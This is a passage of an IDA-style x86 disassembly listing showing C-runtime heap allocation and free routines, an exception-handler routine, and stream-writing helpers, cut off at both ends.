		jnb	short loc_41059B
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4105BA
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4105BA
; ---------------------------------------------------------------------------

loc_41059B:				; CODE XREF: sub_4104FA+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4105BA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_4105BA:				; CODE XREF: sub_4104FA+7Bj
					; sub_4104FA+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_410683
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_4105F4
		push	3Fh
		pop	edi

loc_4105F4:				; CODE XREF: sub_4104FA+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_410671
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_410648
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_410640
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_410640:				; CODE XREF: sub_4104FA+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_410668
; ---------------------------------------------------------------------------

loc_410648:				; CODE XREF: sub_4104FA+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41065E
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41065E:				; CODE XREF: sub_4104FA+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]

loc_410668:				; CODE XREF: sub_4104FA+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_410671:				; CODE XREF: sub_4104FA+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_410686
; ---------------------------------------------------------------------------

loc_410683:				; CODE XREF: sub_4104FA+DEj
		mov	edx, [ebp+arg_4]

loc_410686:				; CODE XREF: sub_4104FA+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4107D1
; ---------------------------------------------------------------------------

loc_410695:				; CODE XREF: sub_4104FA+50j
					; sub_4104FA+5Aj
		xor	eax, eax
		jmp	loc_4107D4
; ---------------------------------------------------------------------------

loc_41069C:				; CODE XREF: sub_4104FA+47j
		jge	loc_4107D1
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_4106C7
		push	3Fh
		pop	esi

loc_4106C7:				; CODE XREF: sub_4104FA+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_410751
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4106E0
		push	3Fh
		pop	esi

loc_4106E0:				; CODE XREF: sub_4104FA+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41072A
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_41070B
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_410727
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_410727
; ---------------------------------------------------------------------------

loc_41070B:				; CODE XREF: sub_4104FA+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_410727
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_410727:				; CODE XREF: sub_4104FA+208j
					; sub_4104FA+20Fj ...
		mov	ebx, [ebp+arg_4]

loc_41072A:				; CODE XREF: sub_4104FA+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_410751
		push	3Fh
		pop	esi

loc_410751:				; CODE XREF: sub_4104FA+1D1j
					; sub_4104FA+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4107C8
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_41079F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_410797
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_410797:				; CODE XREF: sub_4104FA+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_4107BF
; ---------------------------------------------------------------------------

loc_41079F:				; CODE XREF: sub_4104FA+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4107B5
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_4107B5:				; CODE XREF: sub_4104FA+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]

loc_4107BF:				; CODE XREF: sub_4104FA+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_4107C8:				; CODE XREF: sub_4104FA+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_4107D1:				; CODE XREF: sub_4104FA+196j
					; sub_4104FA:loc_41069Cj
		xor	eax, eax
		inc	eax

loc_4107D4:				; CODE XREF: sub_4104FA+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4104FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107D9	proc near		; CODE XREF: sub_40DC34+28p
					; sub_417B62+88p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_434E24
		mov	ecx, [ebp+arg_0]
		imul	eax, 14h
		add	eax, dword_434E28
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	ebx
		dec	ecx
		cmp	ecx, 20h
		push	esi
		push	edi
		jge	short loc_410810
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41081D
; ---------------------------------------------------------------------------

loc_410810:				; CODE XREF: sub_4107D9+2Aj
		add	ecx, 0FFFFFFE0h
		or	edx, 0FFFFFFFFh
		xor	esi, esi
		shr	edx, cl
		mov	[ebp+var_8], edx

loc_41081D:				; CODE XREF: sub_4107D9+35j
		mov	ecx, dword_434E30
		mov	ebx, ecx
		jmp	short loc_410838
; ---------------------------------------------------------------------------

loc_410827:				; CODE XREF: sub_4107D9+64j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_41083F
		add	ebx, 14h

loc_410838:				; CODE XREF: sub_4107D9+4Cj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_410827

loc_41083F:				; CODE XREF: sub_4107D9+5Aj
		cmp	ebx, eax
		jnz	short loc_4108C2
		mov	ebx, dword_434E28
		jmp	short loc_41085C
; ---------------------------------------------------------------------------

loc_41084B:				; CODE XREF: sub_4107D9+88j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_410863
		add	ebx, 14h

loc_41085C:				; CODE XREF: sub_4107D9+70j
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_41084B

loc_410863:				; CODE XREF: sub_4107D9+7Ej
		cmp	ebx, ecx
		jnz	short loc_4108C2
		jmp	short loc_410875
; ---------------------------------------------------------------------------

loc_410869:				; CODE XREF: sub_4107D9+9Ej
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_410879
		add	ebx, 14h
		mov	[ebp+arg_0], ebx

loc_410875:				; CODE XREF: sub_4107D9+8Ej
		cmp	ebx, eax
		jb	short loc_410869

loc_410879:				; CODE XREF: sub_4107D9+94j
		cmp	ebx, eax
		jnz	short loc_4108AE
		mov	ebx, dword_434E28
		jmp	short loc_41088E
; ---------------------------------------------------------------------------

loc_410885:				; CODE XREF: sub_4107D9+BAj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_410895
		add	ebx, 14h

loc_41088E:				; CODE XREF: sub_4107D9+AAj
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_410885

loc_410895:				; CODE XREF: sub_4107D9+B0j
		cmp	ebx, ecx
		jnz	short loc_4108AE
		call	sub_410344
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jnz	short loc_4108AE

loc_4108A7:				; CODE XREF: sub_4107D9+E7j
		xor	eax, eax
		jmp	loc_410AB7
; ---------------------------------------------------------------------------

loc_4108AE:				; CODE XREF: sub_4107D9+A2j
					; sub_4107D9+BEj ...
		push	ebx
		call	sub_4103F4
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4108A7

loc_4108C2:				; CODE XREF: sub_4107D9+68j
					; sub_4107D9+8Cj
		mov	dword_434E30, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4108E9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_410912

loc_4108E9:				; CODE XREF: sub_4107D9+FAj
		and	[ebp+var_4], 0
		mov	edx, [eax+0C4h]
		lea	ecx, [eax+44h]

loc_4108F6:				; CODE XREF: sub_4107D9+134j
		mov	edi, [ecx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_41090F
		inc	[ebp+var_4]
		mov	edx, [ecx+84h]
		add	ecx, 4
		jmp	short loc_4108F6
; ---------------------------------------------------------------------------

loc_41090F:				; CODE XREF: sub_4107D9+126j
		mov	edx, [ebp+var_4]

loc_410912:				; CODE XREF: sub_4107D9+10Ej
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_410940
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_410940
; ---------------------------------------------------------------------------

loc_41093D:				; CODE XREF: sub_4107D9+169j
		add	ecx, ecx
		inc	edi

loc_410940:				; CODE XREF: sub_4107D9+153j
					; sub_4107D9+162j
		test	ecx, ecx
		jge	short loc_41093D
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_410961
		push	3Fh
		pop	esi

loc_410961:				; CODE XREF: sub_4107D9+183j
		cmp	esi, edi
		jz	loc_410A6A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4109CD
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_4109A1
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4109CA
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_4109CD
; ---------------------------------------------------------------------------

loc_4109A1:				; CODE XREF: sub_4107D9+1A0j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4109CA
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4109CD
; ---------------------------------------------------------------------------

loc_4109CA:				; CODE XREF: sub_4107D9+1BCj
					; sub_4107D9+1E4j
		mov	ebx, [ebp+arg_0]

loc_4109CD:				; CODE XREF: sub_4107D9+196j
					; sub_4107D9+1C6j ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_410A76
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_410A67
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_410A3E
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_410A2C
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_410A2C:				; CODE XREF: sub_4107D9+246j
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_410A67
; ---------------------------------------------------------------------------

loc_410A3E:				; CODE XREF: sub_4107D9+240j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_410A51
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_410A51:				; CODE XREF: sub_4107D9+269j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_410A67:				; CODE XREF: sub_4107D9+22Ej
					; sub_4107D9+263j
		mov	ecx, [ebp+var_8]

loc_410A6A:				; CODE XREF: sub_4107D9+18Aj
		test	ecx, ecx
		jz	short loc_410A79
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_410A79
; ---------------------------------------------------------------------------

loc_410A76:				; CODE XREF: sub_4107D9+20Aj
		mov	ecx, [ebp+var_8]

loc_410A79:				; CODE XREF: sub_4107D9+293j
					; sub_4107D9+29Bj
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_410AAF
		cmp	ebx, dword_425FCC
		jnz	short loc_410AAF
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_434E38
		jnz	short loc_410AAF
		and	dword_425FCC, 0

loc_410AAF:				; CODE XREF: sub_4107D9+2BAj
					; sub_4107D9+2C2j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_410AB7:				; CODE XREF: sub_4107D9+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4107D9	endp

; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410B20	proc near		; DATA XREF: __SEH_prolog4o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004129A5 SIZE 00000019 BYTES

		sub	esp, 14h
		push	ebx
		mov	ebx, [esp+18h+arg_4]
		push	ebp
		push	esi
		mov	esi, [ebx+8]
		xor	esi, dword_423068
		push	edi
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		mov	[esp+24h+var_11], 0
		mov	[esp+24h+var_C], 1
		lea	edi, [ebx+10h]
		jz	short loc_410B58
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AFEE

loc_410B58:				; CODE XREF: sub_410B20+29j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AFEE
		mov	eax, [esp+24h+arg_0]
		test	byte ptr [eax+4], 66h
		jnz	loc_410C95
		mov	ebp, [ebx+0Ch]
		cmp	ebp, 0FFFFFFFEh
		mov	ecx, [esp+24h+arg_8]
		lea	edx, [esp+24h+var_8]
		mov	[esp+24h+var_8], eax
		mov	[esp+24h+var_4], ecx
		mov	[ebx-4], edx
		jz	short loc_410BEF

loc_410B91:				; CODE XREF: sub_410B20+A2j
		lea	eax, [ebp+ebp*2+0]
		mov	ecx, [esi+eax*4+14h]
		test	ecx, ecx
		lea	ebx, [esi+eax*4+10h]
		mov	eax, [ebx]
		mov	[esp+24h+var_10], eax
		jz	short loc_410BBD
		mov	edx, edi
		call	sub_41298E
		test	eax, eax
		mov	[esp+24h+var_11], 1
		jl	short loc_410BFB
		jg	short loc_410C05
		mov	eax, [esp+24h+var_10]

loc_410BBD:				; CODE XREF: sub_410B20+85j
		cmp	eax, 0FFFFFFFEh
		mov	ebp, eax
		jnz	short loc_410B91
		cmp	[esp+24h+var_11], 0
		jz	short loc_410BEF

loc_410BCB:				; CODE XREF: sub_410B20+E3j
					; sub_410B20+191j
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_410BDF
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AFEE

loc_410BDF:				; CODE XREF: sub_410B20+B0j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AFEE

loc_410BEF:				; CODE XREF: sub_410B20+6Fj
					; sub_410B20+A9j ...
		mov	eax, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------

loc_410BFB:				; CODE XREF: sub_410B20+95j
		mov	[esp+24h+var_C], 0
		jmp	short loc_410BCB
; ---------------------------------------------------------------------------

loc_410C05:				; CODE XREF: sub_410B20+97j
		mov	ecx, [esp+24h+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_410C3B
		cmp	ds:off_41EC0C, 0
		jz	short loc_410C3B
		push	offset off_41EC0C
		call	sub_416F12
		add	esp, 4
		test	eax, eax
		jz	short loc_410C3B
		mov	edx, [esp+24h+arg_0]
		push	1
		push	edx
		call	ds:off_41EC0C
		add	esp, 8

loc_410C3B:				; CODE XREF: sub_410B20+EFj
					; sub_410B20+F8j ...
		mov	ecx, [esp+24h+arg_4]
		call	sub_4129BE
		mov	eax, [esp+24h+arg_4]
		cmp	[eax+0Ch], ebp
		jz	short loc_410C60
		push	offset dword_423068
		push	edi
		mov	edx, ebp
		mov	ecx, eax
		call	sub_4129D8
		mov	eax, [esp+24h+arg_4]

loc_410C60:				; CODE XREF: sub_410B20+12Bj
		mov	ecx, [esp+24h+var_10]
		mov	[eax+0Ch], ecx
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_410C7B
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AFEE

loc_410C7B:				; CODE XREF: sub_410B20+14Cj
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+8]
		add	ecx, edi
		xor	ecx, [edx+edi]
		call	sub_40AFEE
		mov	ecx, [ebx+8]
		mov	edx, edi
		jmp	loc_4129A5
; ---------------------------------------------------------------------------

loc_410C95:				; CODE XREF: sub_410B20+50j
		cmp	dword ptr [ebx+0Ch], 0FFFFFFFEh
		jz	loc_410BEF
		push	offset dword_423068
		push	edi
		mov	ecx, ebx
		mov	edx, 0FFFFFFFEh
		call	sub_4129D8
		jmp	loc_410BCB
sub_410B20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CB6	proc near		; CODE XREF: sub_40CAE4+9Fp
					; sub_40D658+6Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_412CF4
		mov	[ebp+arg_4], eax
		mov	eax, [esi+0Ch]
		test	al, 82h
		pop	ecx
		jnz	short loc_410CE6
		call	sub_40FCB4
		mov	dword ptr [eax], 9

loc_410CDA:				; CODE XREF: sub_410CB6+3Fj
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	loc_410E13
; ---------------------------------------------------------------------------

loc_410CE6:				; CODE XREF: sub_410CB6+17j
		test	al, 40h
		jz	short loc_410CF7
		call	sub_40FCB4
		mov	dword ptr [eax], 22h
		jmp	short loc_410CDA
; ---------------------------------------------------------------------------

loc_410CF7:				; CODE XREF: sub_410CB6+32j
		push	ebx
		xor	ebx, ebx
		test	al, 1
		jz	short loc_410D14
		test	al, 10h
		mov	[esi+4], ebx
		jz	loc_410D8E
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_410D14:				; CODE XREF: sub_410CB6+46j
		mov	eax, [esi+0Ch]
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		mov	[esi+4], ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_410D58
		call	sub_412359
		add	eax, 20h
		cmp	esi, eax
		jz	short loc_410D44
		call	sub_412359
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_410D51

loc_410D44:				; CODE XREF: sub_410CB6+80j
		push	[ebp+arg_4]
		call	sub_417800
		test	eax, eax
		pop	ecx
		jnz	short loc_410D58

loc_410D51:				; CODE XREF: sub_410CB6+8Cj
		push	esi
		call	sub_4177BC
		pop	ecx

loc_410D58:				; CODE XREF: sub_410CB6+74j
					; sub_410CB6+99j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	loc_410DE5
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		cmp	edi, ebx
		mov	[esi+4], ecx
		jle	short loc_410D99
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_4176E0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_410DDB
; ---------------------------------------------------------------------------

loc_410D8E:				; CODE XREF: sub_410CB6+4Dj
		or	eax, 20h
		mov	[esi+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_410E12
; ---------------------------------------------------------------------------

loc_410D99:				; CODE XREF: sub_410CB6+C4j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_410DBC
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_410DBC
		mov	eax, ecx
		and	eax, 1Fh
		imul	eax, 28h
		mov	edx, ecx
		sar	edx, 5
		add	eax, dword_433CE0[edx*4]
		jmp	short loc_410DC1
; ---------------------------------------------------------------------------

loc_410DBC:				; CODE XREF: sub_410CB6+E9j
					; sub_410CB6+EEj
		mov	eax, offset dword_423BB8

loc_410DC1:				; CODE XREF: sub_410CB6+104j
		test	byte ptr [eax+4], 20h
		jz	short loc_410DDB
		push	2
		push	ebx
		push	ebx
		push	ecx
		call	sub_417001
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410E00

loc_410DDB:				; CODE XREF: sub_410CB6+D6j
					; sub_410CB6+10Fj
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_410DFB
; ---------------------------------------------------------------------------

loc_410DE5:				; CODE XREF: sub_410CB6+A9j
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_4]
		call	sub_4176E0
		add	esp, 0Ch
		mov	[ebp+var_4], eax

loc_410DFB:				; CODE XREF: sub_410CB6+12Dj
		cmp	[ebp+var_4], edi
		jz	short loc_410E09

loc_410E00:				; CODE XREF: sub_410CB6+123j
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	short loc_410E11
; ---------------------------------------------------------------------------

loc_410E09:				; CODE XREF: sub_410CB6+148j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh

loc_410E11:				; CODE XREF: sub_410CB6+151j
		pop	edi

loc_410E12:				; CODE XREF: sub_410CB6+E1j
		pop	ebx

loc_410E13:				; CODE XREF: sub_410CB6+2Bj
		pop	esi
		leave
		retn
sub_410CB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_410E16	proc near		; CODE XREF: sub_410E49+11p
					; sub_410E6D+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_410E22
		cmp	dword ptr [ecx+8], 0
		jz	short loc_410E46

loc_410E22:				; CODE XREF: sub_410E16+4j
		dec	dword ptr [ecx+4]
		js	short loc_410E32
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_410E3E
; ---------------------------------------------------------------------------

loc_410E32:				; CODE XREF: sub_410E16+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_410CB6
		pop	ecx
		pop	ecx

loc_410E3E:				; CODE XREF: sub_410E16+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410E46
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------

loc_410E46:				; CODE XREF: sub_410E16+Aj
					; sub_410E16+2Bj
		inc	dword ptr [esi]
		retn
sub_410E16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E49	proc near		; CODE XREF: sub_410EB7+853p
					; sub_410EB7+880p ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_410E64
; ---------------------------------------------------------------------------

loc_410E51:				; CODE XREF: sub_410E49+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_410E16
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_410E6A

loc_410E64:				; CODE XREF: sub_410E49+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_410E51

loc_410E6A:				; CODE XREF: sub_410E49+19j
		pop	esi
		pop	ebp
		retn
sub_410E49	endp


; =============== S U B	R O U T	I N E =======================================



sub_410E6D	proc near		; CODE XREF: sub_410EB7+867p
					; sub_410EB7+8CEp ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
